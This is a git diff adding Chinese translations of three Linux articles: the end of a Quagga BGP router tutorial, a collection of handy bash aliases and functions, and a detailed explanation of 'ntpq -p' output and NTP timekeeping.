200将同样以200.200.0.0/22作为通告。这些前缀需要被添加到BGP配置如下。 + +在路由器-A中: + + Router-A# configure terminal + Router-A(config)# router bgp 100 + Router-A(config)# network 100.100.0.0/22 + Router-A(config)# exit + Router-A# write + +在路由器-B中: + + Router-B# configure terminal + Router-B(config)# router bgp 200 + Router-B(config)# network 200.200.0.0/22 + Router-B(config)# exit + Router-B# write + +在这一点上,两个路由器会根据需要开始通告前缀。 + +### 测试前缀通告 ### + +首先,让我们来确认前缀的数量是否被改变了。 + + Router-A# show ip bgp summary + +![](https://farm6.staticflickr.com/5608/15419095659_0ebb384eee_z.jpg) + +为了查看所接收的更多前缀细节,我们可以使用以下命令,这个命令用于显示邻居100.100.0.2所接收到的前缀总数。 + + Router-A# show ip bgp neighbors 100.100.0.2 advertised-routes + +![](https://farm6.staticflickr.com/5597/15419618208_4604e5639a_z.jpg) + +查看哪一个前缀是我们从邻居接收到的: + + Router-A# show ip bgp neighbors 100.100.0.2 routes + +![](https://farm4.staticflickr.com/3935/15606556462_e17eae7f49_z.jpg) + +我们也可以查看所有的BGP路由器: + + Router-A# show ip bgp + +![](https://farm6.staticflickr.com/5609/15419618228_5c776423a5_z.jpg) + + +以上的命令都可以被用于检查哪个路由器通过BGP在路由器表中被学习到。 + + Router-A# show ip route + +---------- + + 代码: K - 内核路由, C - 已链接 , S - 静态 , R - 路由信息协议 , O - 开放式最短路径优先协议, + + I - 中间系统到中间系统的路由选择协议, B - 边界网关协议, > - 选择路由, * - FIB 路由 + + C>* 100.100.0.0/30 is directly connected, eth0 + C>* 100.100.1.0/24 is directly connected, eth1 + B>* 200.200.0.0/22 [20/0] via 100.100.0.2, eth0, 00:06:45 + +---------- + + Router-A# show ip route bgp + +---------- + + B>* 200.200.0.0/22 [20/0] via 100.100.0.2, eth0, 00:08:13 + + +BGP学习到的路由也将会在Linux路由表中出现。 + + [root@Router-A~]# ip route + +---------- + + 100.100.0.0/30 dev eth0 proto kernel scope link src 100.100.0.1 + 100.100.1.0/24 dev eth1 proto kernel scope link src 100.100.1.1 + 200.200.0.0/22 via 100.100.0.2 dev eth0 proto zebra + + +最后,我们将使用ping命令来测试连通。结果将成功ping通。 + + [root@Router-A~]# ping 200.200.1.1 -c 2 + + +总而言之,本教程将重点放在如何在CentOS系统中运行一个基本的BGP路由器。这个教程让你开始学习BGP的配置,一些更高级的设置例如设置过滤器、BGP属性调整、本地优先级和预先路径准备等,我将会在后续的教程中覆盖这些主题。 + +希望这篇教程能给大家一些帮助。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/centos-bgp-router-quagga.html + +作者:[Sarmed Rahman][a] +译者:[disylee](https://github.com/disylee) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/sarmed +[1]:http://linux.cn/article-4232-1.html +[2]:http://weibo.com/3181671860/BngyXxEUF diff --git a/published/201501/20141023 What are useful Bash aliases and functions.md b/published/201501/20141023 What are useful Bash aliases and functions.md new file mode 100644 index 0000000000..758dea2d7f --- /dev/null +++ b/published/201501/20141023 What are useful Bash aliases and functions.md @@ -0,0 +1,256 @@ +一大波有用的 bash 别名和函数 +================================================================================ + +作为一个命令行探索者,你或许发现你自己一遍又一遍重复同样的命令。如果你总是用ssh进入到同一台电脑,如果你总是将一连串命令连接起来,如果你总是用同样的参数运行一个程序,你也许希望在这种不断的重复中为你的生命节约下几秒钟。 + +解决方案是使用一个别名(alias)。正如你可能知道的,别名用一种让你的shell记住一个特定的命令并且给它一个新的名字的方式。不管怎么样,别名有一些限制,它只是shell命令的快捷方式,不能传递或者控制其中的参数。所以作为补充,bash 也允许你创建你自己的函数,这可能更长一些和复杂一点,它允许任意数量的参数。 + +当然,当你有美食时,比如某种汤,你要分享它给大家。我这里有一个列表,列出了一些最有用bash别名和函数的。注意“最有用的”只是个说法,别名的是否有用要看你是否每天都需要在 shell 里面用它。 + +在你开始你的别名体验之旅前,这里有一个便于使用的小技巧:如果你的别名和原本的命令名字相同,你可以用如下技巧来访问原本的命令(LCTT 译注:你也可以直接原本命令的完整路径来访问它。) + + \command + +例如,如果有一个替换了ls命令的别名 ls。如果你想使用原本的ls命令而不是别名,通过调用它: + + \ls + +### 提升生产力 ### + +这些别名真的很简单并且真的很短,但他们大多数是为了给你的生命节省几秒钟,最终也许为你这一辈子节省出来几年,也许呢。 + + alias ls="ls --color=auto" + +简单但非常重要。使ls命令带着彩色输出。 + + alias ll="ls --color -al" + +以彩色的列表方式列出目录里面的全部文件。 + + alias grep='grep --color=auto' + +类似,只是在grep里输出带上颜色。 + + mcd() { mkdir -p "$1"; cd "$1";} + +我的最爱之一。创建一个目录并进入该目录里: mcd [目录名]。 + + cls() { cd "$1"; ls;} + +类似上一个函数,进入一个目录并列出它的的内容:cls[目录名]。 + + backup() { cp "$1"{,.bak};} + +简单的给文件创建一个备份: backup [文件] 将会在同一个目录下创建 [文件].bak。 + + md5check() { md5sum "$1" | grep "$2";} + +因为我讨厌通过手工比较文件的md5校验值,这个函数会计算它并进行比较:md5check[文件][校验值]。 + +![](https://farm6.staticflickr.com/5616/15412389280_8be57841ae_o.jpg) + + alias makescript="fc -rnl | head -1 >" + +很容易用你上一个运行的命令创建一个脚本:makescript [脚本名字.sh] + + alias genpasswd="strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo" + +只是瞬间产生一个强壮的密码。 + +![](https://farm4.staticflickr.com/3955/15574321206_dd365f0f0e.jpg) + + alias c="clear" + +清除你终端屏幕不能更简单了吧? + + alias histg="history | grep" + +快速搜索你的命令输入历史:histg [关键字] + + alias ..='cd ..' + +回到上层目录还需要输入 cd 吗? + + alias ...='cd ../..' + +自然,去到上两层目录。 + + extract() { + if [ -f $1 ] ; then + case $1 in + *.tar.bz2) tar xjf $1 ;; + *.tar.gz) tar xzf $1 ;; + *.bz2) bunzip2 $1 ;; + *.rar) unrar e $1 ;; + *.gz) gunzip $1 ;; + *.tar) tar xf $1 ;; + *.tbz2) tar xjf $1 ;; + *.tgz) tar xzf $1 ;; + *.zip) unzip $1 ;; + *.Z) uncompress $1 ;; + *.7z) 7z x $1 ;; + *) echo "'$1' cannot be extracted via extract()" ;; + esac + else + echo "'$1' is not a valid file" + fi + } + +很长,但是也是最有用的。解压任何的文档类型:extract: [压缩文件] + +### 系统信息 ### + +想尽快地知道关于你的系统一切信息? + + alias cmount="mount | column -t" + +按列格式化输出mount信息。 + +![](https://farm6.staticflickr.com/5603/15598830622_587b77a363_z.jpg) + + alias tree="ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'" + +以树形结构递归地显示目录结构。 + + sbs() { du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e';} + +安装文件在磁盘存储的大小排序,显示当前目录的文件列表。 + + alias intercept="sudo strace -ff -e trace=write -e write=1,2 -p" + +接管某个进程的标准输出和标准错误。注意你需要安装了 strace。 + + alias meminfo='free -m -l -t' + +查看你还有剩下多少内存。 + +![](https://farm4.staticflickr.com/3955/15411891448_0b9d6450bd_z.jpg) + + alias ps? = "ps aux | grep" + +可以很容易地找到某个进程的PID:ps? [名字]。 + + alias volume="amixer get Master | sed '1,4 d' | cut -d [ -f 2 | cut -d ] -f 1" + +显示当前音量设置。 + +![](https://farm4.staticflickr.com/3939/15597995445_99ea7ffcd5_o.jpg) + +### 网络 ### + +对于所有用在互联网和本地网络的命令,也有一些神奇的别名给它们。 + + alias websiteget="wget --random-wait -r -p -e robots=off -U mozilla" + +下载整个网站:websiteget [URL]。 + + alias listen="lsof -P -i -n" + +显示出哪个应用程序连接到网络。 + +![](https://farm4.staticflickr.com/3943/15598830552_c7e5eaaa0d_z.jpg) + + alias port='netstat -tulanp' + +显示出活动的端口。 + + gmail() { curl -u "$1" --silent "https://mail.google.com/mail/feed/atom" | sed -e 's/<\/fullcount.*/\n/' | sed -e 's/.*fullcount>//'} + +大概的显示你的谷歌邮件里未读邮件的数量:gmail [用户名] + + alias ipinfo="curl ifconfig.me && curl ifconfig.me/host" + +获得你的公网IP地址和主机名。 + + getlocation() { lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\';} + +返回你的当前IP地址的地理位置。 + +### 也许无用 ### + +所以呢,如果一些别名并不是全都具有使用价值?它们可能仍然有趣。 + + kernelgraph() { lsmod | perl -e 'print "digraph \"lsmod\" {";<>;while(<>){@_=split/\s+/; print "\"$_[0]\" -> \"$_\"\n" for split/,/,$_[3]}print "}"' | dot -Tpng | display -;} + +绘制内核模块依赖曲线图。需要可以查看图片。 + + alias busy="cat /dev/urandom | hexdump -C | grep 'ca fe'" + +在那些非技术人员的眼里你看起来是总是那么忙和神秘。 + +![](https://farm6.staticflickr.com/5599/15574321326_ab3fbc1ef9_z.jpg) + +最后,这些别名和函数的很大一部分来自于我个人的.bashrc。而那些令人点赞的网站 [alias.sh][1]和[commandlinefu.com][2]我早已在我的帖子[best online tools for Linux][3] 里面介绍过。你可以去看看,如果你愿意,也可以分享下你的。也欢迎你在这里评论,分享一下你的智慧。 + +做为奖励,这里有我提到的全部别名和函数的纯文本版本,随时可以复制粘贴到你的.bashrc。(如果你已经一行一行的复制到这里了,哈哈,你发现你又浪费了生命的几秒钟~) + + #Productivity + alias ls="ls --color=auto" + alias ll="ls --color -al" + alias grep='grep --color=auto' + mcd() { mkdir -p "$1"; cd "$1";} + cls() { cd "$1"; ls;} + backup() { cp "$1"{,.bak};} + md5check() { md5sum "$1" | grep "$2";} + alias makescript="fc -rnl | head -1 >" + alias genpasswd="strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo" + alias c="clear" + alias histg="history | grep" + alias ..='cd ..' + alias ...='cd ../..' + extract() { + if [ -f $1 ] ; then + case $1 in + *.tar.bz2) tar xjf $1 ;; + *.tar.gz) tar xzf $1 ;; + *.bz2) bunzip2 $1 ;; + *.rar) unrar e $1 ;; + *.gz) gunzip $1 ;; + *.tar) tar xf $1 ;; + *.tbz2) tar xjf $1 ;; + *.tgz) tar xzf $1 ;; + *.zip) unzip $1 ;; + *.Z) uncompress $1 ;; + *.7z) 7z x $1 ;; + *) echo "'$1' cannot be extracted via extract()" ;; + esac + else + echo "'$1' is not a valid file" + fi + } + + #System info + alias cmount="mount | column -t" + alias tree="ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'" + sbs(){ du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e';} + alias intercept="sudo strace -ff -e trace=write -e write=1,2 -p" + alias meminfo='free -m -l -t' + alias ps?="ps aux | grep" + alias volume="amixer get Master | sed '1,4 d' | cut -d [ -f 2 | cut -d ] -f 1" + + #Network + alias websiteget="wget --random-wait -r -p -e robots=off -U mozilla" + alias listen="lsof -P -i -n" + alias port='netstat -tulanp' + gmail() { curl -u "$1" --silent "https://mail.google.com/mail/feed/atom" | sed -e 's/<\/fullcount.*/\n/' | sed -e 's/.*fullcount>//'} + alias ipinfo="curl ifconfig.me && curl ifconfig.me/host" + getlocation() { lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\';} + + #Funny + kernelgraph() { lsmod | perl -e 'print "digraph \"lsmod\" {";<>;while(<>){@_=split/\s+/; print "\"$_[0]\" -> \"$_\"\n" for split/,/,$_[3]}print "}"' | dot -Tpng | display -;} + alias busy="cat /dev/urandom | hexdump -C | grep \"ca fe\"" + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/useful-bash-aliases-functions.html + +作者:[Adrien Brochard][a] +译者:[luoyutiantang](https://github.com/luoyutiantang) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://alias.sh/ +[2]:http://www.commandlinefu.com/commands/browse +[3]:http://xmodulo.com/useful-online-tools-linux.html diff --git a/published/201501/20141027 ntpq -p output.md b/published/201501/20141027 ntpq -p output.md new file mode 100644 index 0000000000..d54843e179 --- /dev/null +++ b/published/201501/20141027 ntpq -p output.md @@ -0,0 +1,297 @@ +网络时间的那些事情及 ntpq 详解 +================================================================================ +[Gentoo][1](也许其他发行版也是?)中 ["ntpq -p" 的 man page][2] 只有简短的描述:“*打印出该服务器已知的节点列表和它们的状态概要信息。*” + +我还没见到关于这个命令的说明文档,因此这里对此作一个总结,可以补充进 "[man ntpq][3]" man page 中。更多的细节见这里 “[ntpq – 标准 NTP 请求程序][4]”(原作者),和 [其他关于 man ntpq 的例子][5]. + +[NTP][6] 是一个设计用于通过 [udp][9] 网络 ([WAN][7] 或者 [LAN][8]) 来同步计算机时钟的协议。引用 [Wikipedia – NTP][10]: + +> 网络时间协议(英语:Network Time Protocol,NTP)一种协议和软件实现,用于通过使用有网络延迟的报文交换网络同步计算机系统间的时钟。最初由美国特拉华大学的 David L. Mills 设计,现在仍然由他和志愿者小组维护,它于 1985 年之前开始使用,是因特网中最老的协议之一。 + +想了解更多有关时间和 NTP 协议的知识,可以参考 “[The NTP FAQ, Time, what Time?][11]”和 [RFCs for NTP][12]。早期的“Network Time Protocol (Version 3) RFC” ([txt][13], or [pdf][14], Appendix E, The NTP Timescale and its Chronometry, p70) 包含了对过去 5000 年我们的计时系统的变化和关系的有趣解释。维基百科的文章 [Time][15] 和 [Calendar][16] 提供了更宏观的视角。 + +命令 "ntpq -q" 输出下面这样的一个表: + + remote refid st t when poll reach delay offset jitter + ============================================================================== + LOCAL(0) .LOCL. 10 l 96h 64 0 0.000 0.000 0.000 + *ns2.example.com 10.193.2.20 2 u 936 1024 377 31.234 3.353 3.096 + +### 更多细节 ### + +#### 表头 #### + + +- **remote** – 用于同步的远程节点或服务器。“LOCAL”表示本机 (当没有远程服务器可用时会出现) +- **refid** – 远程的服务器进行同步的更高一级服务器 +- **st** – 远程节点或服务器的 [Stratum][17](级别,NTP 时间同步是分层的) +- **t** – 类型 (u: [unicast(单播)][18] 或 [manycast(选播)][19] 客户端, b: [broadcast(广播)][20] 或 [multicast(多播)][21] 客户端, l: 本地时钟, s: 对称节点(用于备份), A: 选播服务器, B: 广播服务器, M: 多播服务器, 参见“[Automatic Server Discovery][22]“) +- **when** – 最后一次同步到现在的时间 (默认单位为秒, “h”表示小时,“d”表示天) +- **poll** – 同步的频率:[rfc5905][23]建议在 NTPv4 中这个值的范围在 4 (16秒) 至 17 (36小时) 之间(即2的指数次秒),然而观察发现这个值的实际大小在一个小的多的范围内 :64 (2^6 )秒 至 1024 (2^10 )秒 +- **reach** – 一个8位的左移移位寄存器值,用来测试能否和服务器连接,每成功连接一次它的值就会增加,以 [8 进制][24]显示 +- **delay** – 从本地到远程节点或服务器通信的往返时间(毫秒) +- **offset** – 主机与远程节点或服务器时间源的时间偏移量,offset 越接近于0,主机和 NTP 服务器的时间越接近(以[方均根][25]表示,单位为毫秒) +- **jitter** – 与远程节点同步的时间源的平均偏差(多个时间样本中的 offset 的偏差,单位是毫秒),这个数值的绝对值越小,主机的时间就越精确 + +#### 字段的统计代码 #### + +表中第一个字符(统计代码)是状态标识(参见 [Peer Status Word][26]),包含 " ","x","-","#","+","*","o": + +- " " – 无状态,表示: + - 没有远程通信的主机 + - "LOCAL" 即本机 + - (未被使用的)高层级服务器 + - 远程主机使用的这台机器作为同步服务器 +- “**x**” – 已不再使用 +- “**-**” – 已不再使用 +- “**#**” – 良好的远程节点或服务器但是未被使用 (不在按同步距离排序的前六个节点中,作为备用节点使用) +- “**+**” – 良好的且优先使用的远程节点或服务器(包含在组合算法中) +- “*” – 当前作为优先主同步对象的远程节点或服务器 +- “**o**” – PPS 节点 (当优先节点是有效时)。实际的系统同步是源于秒脉冲信号(pulse-per-second,PPS),可能通过PPS 时钟驱动或者通过内核接口。 + +参考 [Clock Select Algorithm][27]. + +#### refid #### + +**refid** 有下面这些状态值 + +- 一个IP地址 – 远程节点或服务器的 [IP 地址][28] +- **.LOCL.** – 本机 (当没有远程节点或服务器可用时) +- **.PPS.** – 时间标准中的“[Pulse Per Second][29]”(秒脉冲) +- **.IRIG.** – [Inter-Range Instrumentation Group][30] 时间码 +- **.ACTS.** – 美国 [NIST 标准时间][31] 电话调制器 +- **.NIST.** –美国 NIST 标准时间电话调制器 +- **.PTB.** – 德国 [PTB][32] 时间标准电话调制器 +- **.USNO.** – 美国 [USNO 标准时间][33] 电话调制器 +- **.CHU.** – [CHU][34] ([HF][35], Ottawa, ON, Canada) 标准时间无线电接收器 +- **.DCFa.** – [DCF77][36] ([LF][37], Mainflingen, Germany) 标准时间无线电接收器 +- **.HBG.** – [HBG][38] (LF Prangins, Switzerland) 标准时间无线电接收器 +- **.JJY.** – [JJY][39] (LF Fukushima, Japan) 标准时间无线电接收器 +- **.LORC.** – [LORAN][40]-C station ([MF][41]) 标准时间无线电接收器,注: [不再可用][42] (被 [eLORAN][43] 废弃) +- **.MSF.** – [MSF][44] (LF, Anthorn, Great Britain) 标准时间无线电接收器 +- **.TDF.** – [TDF][45] (MF, Allouis, France)标准时间无线电接收器 +- **.WWV.** – [WWV][46] (HF, Ft. Collins, CO, America) 标准时间无线电接收器 +- **.WWVB.** – [WWVB][47] (LF, Ft. Collins, CO, America) 标准时间无线电接收器 +- **.WWVH.** – [WWVH][48] (HF, Kauai, HI, America) 标准时间无线电接收器 +- **.GOES.** – 美国[静止环境观测卫星][49]; +- **.GPS.** – 美国 [GPS][50]; +- **.GAL.** – [伽利略定位系统][51]欧洲 [GNSS][52]; +- **.ACST.** – 选播服务器 +- **.AUTH.** – 认证错误 +- **.AUTO.** – Autokey (NTP 的一种认证机制)顺序错误 +- **.BCST.** – 广播服务器 +- **.CRYPT.** – Autokey 协议错误 +- **.DENY.** – 服务器拒绝访问; +- **.INIT.** – 关联初始化 +- **.MCST.** – 多播服务器 +- **.RATE.** – (轮询) 速率超出限定 +- **.TIME.** – 关联超时 +- **.STEP.** – 间隔时长改变,偏移量比危险阈值小(1000ms) 比间隔时间 (125ms)大 + +#### 操作要点 #### + +一个时间服务器只会报告时间信息而不会从客户端更新时间(单向更新),而一个节点可以更新其他同级节点的时间,结合出一个彼此同意的时间(双向更新)。 + +[初次启动][53]时: + +> 除非使用 iburst 选项,客户端通常需要花几分钟来和服务器同步。如果客户端在启动时时间与 NTP 服务器的时间差大于 1000 秒,守护进程会退出并在系统日志中记录,让操作者手动设置时间差小于 1000 秒后再重新启动。如果时间差小于 1000 秒,但是大于 128 秒,会自动矫正间隔,并自动重启守护进程。 + +> 当第一次启动时,时间频率文件(通常是 ntp.drift 文件,记录时间偏移)不存在,守护进程进入一个特殊模式来矫正频率。当时钟不符合[规范][54]时这会需要 900 秒。当校正完成后,守护进程创建时间频率文件进入普通模式,并分步校正剩余的偏差。 + +NTP 0 层(Stratum 0 )的设备如原子钟(铯,铷),GPS 时钟或者其他标准时间的无线电时钟为 1 层(Stratum 1)的时间服务器提供时间信号。NTP 只报告[UTC][55] 时间(统一协调时,Coordinated Universal Time)。客户端程序使用[时区][56]从 UTC 导出本地时间。 + +NTP 协议是高精度的,使用的精度小于纳秒(2的 -32 次方)。主机的时间精度和其他参数(受硬件和操作系统限制)使用命令 “ntpq -c rl” 查看(参见 [rfc1305][57] 通用变量和 [rfc5905][58])。 + +#### “ntpq -c rl”输出参数 #### + +- **precision** 为四舍五入值,且为 2 的幂数。因此精度为 2^precision (秒) +- **rootdelay** – 与同步网络中主同步服务器的总往返延时。注意这个值可以是正数或者负数,取决于时钟的精度。 +- **rootdisp** – 相对于同步网络中主同步服务器的偏差(秒) +- **tc** – NTP 算法 [PLL][59] (phase locked loop,锁相环路) 或 [FLL][60] (frequency locked loop,锁频回路) 时间常量 +- **mintc** – NTP 算法 PLL/FLL 最小时间常亮或“最快响应 +- **offset** – 由结合算法得出的系统时钟偏移量(毫秒) +- **frequency** – 系统时钟频率 +- **sys_jitter** – 由结合算法得出的系统时钟平均偏差(毫秒) +- **clk_jitter** – 硬件时钟平均偏差(毫秒) +- **clk_wander** – 硬件时钟偏移([PPM][61] – 百分之一) + +Jitter (也叫 timing jitter) 表示短期变化大于10HZ 的频率, wander 表示长期变化大于10HZ 的频率 (Stability 表示系统的频率随时间的变化,和 aging, drift, trends 等是同义词) + +#### 操作要点(续) #### + +NTP 软件维护一系列连续更新的频率变化的校正值。对于设置正确的稳定系统,在非拥塞的网络中,现代硬件的 NTP 时钟同步通常与 UTC 标准时间相差在毫秒内。(在千兆 LAN 网络中可以达到何种精度?) + +对于 UTC 时间,[闰秒 leap second ][62] 可以每两年插入一次用于同步地球自传的变化。注意本地时间为[夏令时][63]时时间会有一小时的变化。在重同步之前客户端设备会使用独立的 UTC 时间,除非客户端使用了偏移校准。 + +#### [闰秒发生时会怎样][64] #### + +> 闰秒发生时,会对当天时间增加或减少一秒。闰秒的调整在 UTC 时间当天的最后一秒。如果增加一秒,UTC 时间会出现 23:59:60。即 23:59:59 到 0:00:00 之间实际上需要 2 秒钟。如果减少一秒,时间会从 23:59:58 跳至 0:00:00 。另见 [The Kernel Discipline][65]. + +那么… 间隔阈值(step threshold)的真实值是多少: 125ms 还是 128ms? PLL/FLL tc 的单位是什么 (log2 s? ms?)?在非拥塞的千兆 LAN 中时间节点间的精度能达到多少? + +感谢 Camilo M 和 Chris B的评论。 欢迎校正错误和更多细节的探讨。 + +谢谢 +Martin + +### 附录 ### + +- [NTP 的纪元][66] 从 1900 开始而 UNIX 的从 1970开始. +- [时间校正][67] 是逐渐进行的,因此时间的完全同步可能会画上几个小时。 +- [节点状态][68] 可以被记录到 [summarise/plot time offsets and errors][69] +- [RMS][70] – 均方根 +- [PLL][71] – 锁相环路 +- [FLL][72] – 锁频回路 +- [PPM][73] – 百万分之一,用于描述频率的变化 +- [man ntpq (Gentoo 简明版本)][74] +- [man ntpq (长期维护版本)][75] +- [man ntpq (Gentoo 长期维护版本)][76] + +### 另见 ### + +- [ntpq – 标准 NTP 查询程序][77] +- [The Network Time Protocol (NTP) 分布][78] +- NTP 的简明[历史][79] +- 一个更多细节的简明历史 “Mills, D.L., A brief history of NTP time: confessions of an Internet timekeeper. Submitted for publication; please do not cite or redistribute” ([pdf][80]) +- [NTP RFC][81] 标准文档 +- Network Time Protocol (Version 3) RFC – [txt][82], or [pdf][83]. Appendix E, The NTP Timescale and its Chronometry, p70, 包含了对过去 5000 年我们的计时系统的变化和关系的有趣解释。 +- 维基百科: [Time][84] 和 [Calendar][85] +- [John Harrison and the Longitude problem][86] +- [Clock of the Long Now][87] – The 10,000 Year Clock +- John C Taylor – [Chronophage][88] +- [Orders of magnitude of time][89] +- [Greenwich Time Signal][90] + +### 其他 ### + +SNTP (Simple Network Time Protocol, [RFC 4330][91],简单网络协议)基本上也是NTP,但是少了一些基于 [RFC 1305][92] 实现的 NTP 的一些不再需要的内部算法。 + +Win32 时间 [Windows Time Service][93] 是 SNTP 的非标准实现,没有精度的保证,并假设精度几乎有 1-2 秒的范围。(因为没有系统时间变化校正) + +还有一个[PTP (IEEE 1588)][95] Precision Time Protocol(精准时间协议)。见维基百科:[Precision Time Protocol][96]。软件程序为 [PTPd][97]。虫咬的功能是这是一个 [LAN][98] 高精度主从同步系统,精度在毫秒级,使用 [International Atomic Time][99] (TAI, [monotonic][100],无闰秒)。数据报时间戳需要在网卡中启用。支持 PTP 的网络会对数据报记录时间戳以减少交换机路由器的影响。也可以在不记录时间戳的网络中使用 PTP 但可能应为时间偏差太大而无法同步。因此使用这个需要对网络进行设置。 + +### 更老的时间同步协议 ### + +- DTSS – DEC公司的数字时间同步服务, 被 NTP 所取代。例子: [DTSS VMS C code c2000][101]。 (哪里有关于 DTSS 的文章或文档吗?) +- [DAYTIME protocol][102],使用 [TCP][103] 或 [UDP][104] 13 端口同步 +- [ICMP Timestamp][105] 和 [ICMP Timestamp Reply][106],使用 [ICMP][107] 协议同步 +- [Time Protocol][108],使用 TCP 或 UDP 37 号端口同步 + +-------------------------------------------------------------------------------- + +via: http://nlug.ml1.co.uk/2012/01/ntpq-p-output/831 + +作者:Martin L +译者:[Liao](https://github.com/liaosishere) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.gentoo.org/ +[2]:http://nlug.ml1.co.uk/2012/01/man-ntpq-gentoo-brief-version/853 +[3]:http://www.thelinuxblog.com/linux-man-pages/1/ntpq +[4]:http://www.eecis.udel.edu/~mills/ntp/html/ntpq.html +[5]:http://linux.die.net/man/8/ntpq +[6]:http://www.ntp.org/ +[7]:http://en.wikipedia.org/wiki/Wide_area_network +[8]:http://en.wikipedia.org/wiki/Local_area_network +[9]:http://en.wikipedia.org/wiki/User_Datagram_Protocol +[10]:http://en.wikipedia.org/wiki/Network_Time_Protocol +[11]:http://www.ntp.org/ntpfaq/NTP-s-time.htm +[12]:http://www.ntp.org/rfc.html +[13]:http://www.ietf.org/rfc/rfc1305.txt +[14]:http://www.rfc-editor.org/rfc/rfc1305.pdf +[15]:http://en.wikipedia.org/wiki/Time +[16]:http://en.wikipedia.org/wiki/Calendar +[17]:http://en.wikipedia.org/wiki/Network_Time_Protocol#Clock_strata +[18]:http://en.wikipedia.org/wiki/Unicast +[19]:http://www.eecis.udel.edu/~mills/ntp/html/manyopt.html#mcst +[20]:http://en.wikipedia.org/wiki/Broadcasting_%28computing%29 +[21]:http://en.wikipedia.org/wiki/Multicast +[22]:http://www.eecis.udel.edu/~mills/ntp/html/manyopt.html +[23]:http://www.ietf.org/rfc/rfc5905.txt +[24]:http://en.wikipedia.org/wiki/Octal#In_computers +[25]:http://en.wikipedia.org/wiki/Root_mean_square +[26]:http://www.eecis.udel.edu/~mills/ntp/html/decode.html#peer +[27]:http://www.eecis.udel.edu/~mills/ntp/html/select.html +[28]:http://en.wikipedia.org/wiki/Ip_address +[29]:http://en.wikipedia.org/wiki/Pulse_per_second +[30]:http://en.wikipedia.org/wiki/Inter-Range_Instrumentation_Group +[31]:http://en.wikipedia.org/wiki/Standard_time_and_frequency_signal_service +[32]:http://www.ptb.de/index_en.html +[33]:http://en.wikipedia.org/wiki/United_States_Naval_Observatory#Time_service +[34]:http://en.wikipedia.org/wiki/CHU_%28radio_station%29 +[35]:http://en.wikipedia.org/wiki/High_frequency +[36]:http://en.wikipedia.org/wiki/DCF77 +[37]:http://en.wikipedia.org/wiki/Low_frequency +[38]:http://en.wikipedia.org/wiki/HBG_%28time_signal%29 +[39]:http://en.wikipedia.org/wiki/JJY#Time_standards +[40]:http://en.wikipedia.org/wiki/LORAN#Timing_and_synchronization +[41]:http://en.wikipedia.org/wiki/Medium_frequency +[42]:http://en.wikipedia.org/wiki/LORAN#The_future_of_LORAN +[43]:http://en.wikipedia.org/wiki/LORAN#eLORAN +[44]:http://en.wikipedia.org/wiki/Time_from_NPL#The_.27MSF_signal.27_and_the_.27Rugby_clock.27 +[45]:http://en.wikipedia.org/wiki/T%C3%A9l%C3%A9_Distribution_Fran%C3%A7aise +[46]:http://en.wikipedia.org/wiki/WWV_%28radio_station%29#Time_signals +[47]:http://en.wikipedia.org/wiki/WWVB +[48]:http://en.wikipedia.org/wiki/WWVH +[49]:http://en.wikipedia.org/wiki/GOES#Further_reading +[50]:http://en.wikipedia.org/wiki/Gps#Timekeeping +[51]:http://en.wikipedia.org/wiki/Galileo_%28satellite_navigation%29#The_concept +[52]:http://en.wikipedia.org/wiki/Gnss +[53]:http://www.eecis.udel.edu/~mills/ntp/html/debug.html +[54]:http://www.ntp.org/ntpfaq/NTP-s-algo-kernel.htm +[55]:http://en.wikipedia.org/wiki/Coordinated_Universal_Time +[56]:http://en.wikipedia.org/wiki/Time_zone +[57]:http://www.ietf.org/rfc/rfc1305.txt +[58]:http://www.ietf.org/rfc/rfc5905.txt +[59]:http://en.wikipedia.org/wiki/PLL +[60]:http://en.wikipedia.org/wiki/Frequency-locked_loop +[61]:http://en.wikipedia.org/wiki/Parts_per_million +[62]:http://en.wikipedia.org/wiki/Leap_second +[63]:http://en.wikipedia.org/wiki/Daylight_saving_time +[64]:http://www.ntp.org/ntpfaq/NTP-s-time.htm#Q-TIME-LEAP-SECOND +[65]:http://www.ntp.org/ntpfaq/NTP-s-algo-kernel.htm +[66]:http://www.ntp.org/ntpfaq/NTP-s-algo.htm#AEN1895 +[67]:http://www.ntp.org/ntpfaq/NTP-s-algo.htm#Q-ACCURATE-CLOCK +[68]:http://www.ntp.org/ntpfaq/NTP-s-trouble.htm#Q-TRB-MON-STATFIL +[69]:http://www.ntp.org/ntpfaq/NTP-s-trouble.htm#AEN5086 +[70]:http://en.wikipedia.org/wiki/Root_mean_square +[71]:http://en.wikipedia.org/wiki/PLL +[72]:http://en.wikipedia.org/wiki/Frequency-locked_loop +[73]:http://en.wikipedia.org/wiki/Parts_per_million +[74]:http://nlug.ml1.co.uk/2012/01/man-ntpq-gentoo-brief-version/853 